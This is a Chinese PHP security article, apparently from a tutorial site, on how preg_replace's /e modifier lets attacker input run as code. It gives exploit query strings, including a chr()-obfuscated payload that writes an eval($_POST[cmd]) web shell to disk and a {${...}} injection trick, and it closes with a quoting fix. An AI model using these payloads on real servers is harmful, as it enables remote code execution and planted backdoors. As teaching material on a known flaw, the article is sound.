慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
文章推荐系统(二)
Oct 09 PHP
在IIS上安装PHP4.0正式版
Oct 09 PHP
PHP HTML代码串 截取实现代码
Jun 29 PHP
PHP读取txt文件的内容并赋值给数组的代码
Nov 03 PHP
PHP内核探索:变量概述
Jan 30 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(一)
Jun 23 PHP
ThinkPHP中自定义目录结构的设置方法
Aug 15 PHP
C#静态方法与非静态方法实例分析
Sep 22 PHP
php实现的RSS生成类实例
Apr 23 PHP
PHP用正则匹配form表单中所有元素的类型和属性值实例代码
Feb 28 PHP
Laravel中encrypt和decrypt的实现方法
Sep 24 PHP
PHP如何搭建百度Ueditor富文本编辑器
Sep 21 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
小偷PHP+Html+缓存
2006/12/20 PHP
php Mysql日期和时间函数集合
2007/11/16 PHP
PHP分多步骤填写发布信息的简单方法实例代码
2012/09/23 PHP
php获取汉字拼音首字母的方法
2015/10/21 PHP
三个思路解决laravel上传文件报错:413 Request Entity Too Large问题
2017/11/13 PHP
PHP实现提取多维数组指定一列的方法总结
2019/12/04 PHP
浅谈Javascript面向对象编程
2011/11/15 Javascript
js闭包实例汇总
2014/11/09 Javascript
JQuery中Text方法用法实例分析
2015/05/18 Javascript
JavaScript的Backbone.js框架的一些使用建议整理
2016/02/14 Javascript
JS获取元素多层嵌套思路详解
2016/05/16 Javascript
JavaScript——DOM操作——Window.document对象详解
2016/07/14 Javascript
jquery checkbox无法用attr()二次勾选问题的解决方法
2016/07/22 Javascript
JS基于面向对象实现的选项卡效果示例
2016/12/20 Javascript
Node.js应用设置安全的沙箱环境
2018/04/23 Javascript
vue如何通过id从列表页跳转到对应的详情页
2018/05/01 Javascript
jQuery.parseJSON()函数详解
2019/02/28 jQuery
深入了解query和params的使用区别
2019/06/24 Javascript
vue 微信扫码登录(自定义样式)
2020/01/06 Javascript
Vue(定时器)解决mounted不能获取到data中的数据问题
2020/07/30 Javascript
使用JS实现鼠标放上图片进行放大离开实现缩小功能
2021/01/27 Javascript
python统计文本字符串里单词出现频率的方法
2015/05/26 Python
日常整理python执行系统命令的常见方法(全)
2015/10/22 Python
Numpy 将二维图像矩阵转换为一维向量的方法
2018/06/05 Python
python利用os模块编写文件复制功能——copy()函数用法
2020/07/13 Python
Python实现扫码工具的示例代码
2020/10/09 Python
详解Python openpyxl库的基本应用
2021/02/26 Python
CSS3打造磨砂玻璃背景效果
2016/09/28 HTML / CSS
HTML5 window/iframe跨域传递消息 API介绍
2013/08/26 HTML / CSS
kfc实习自我鉴定
2013/12/14 职场文书
初中生物教学反思
2014/01/10 职场文书
教师自我剖析材料
2014/09/29 职场文书
2014年个人业务工作总结
2014/11/17 职场文书
活动经费申请报告
2015/05/15 职场文书
2016年小学生寒假总结
2015/10/10 职场文书
分享Python获取本机IP地址的几种方法
2022/03/17 Python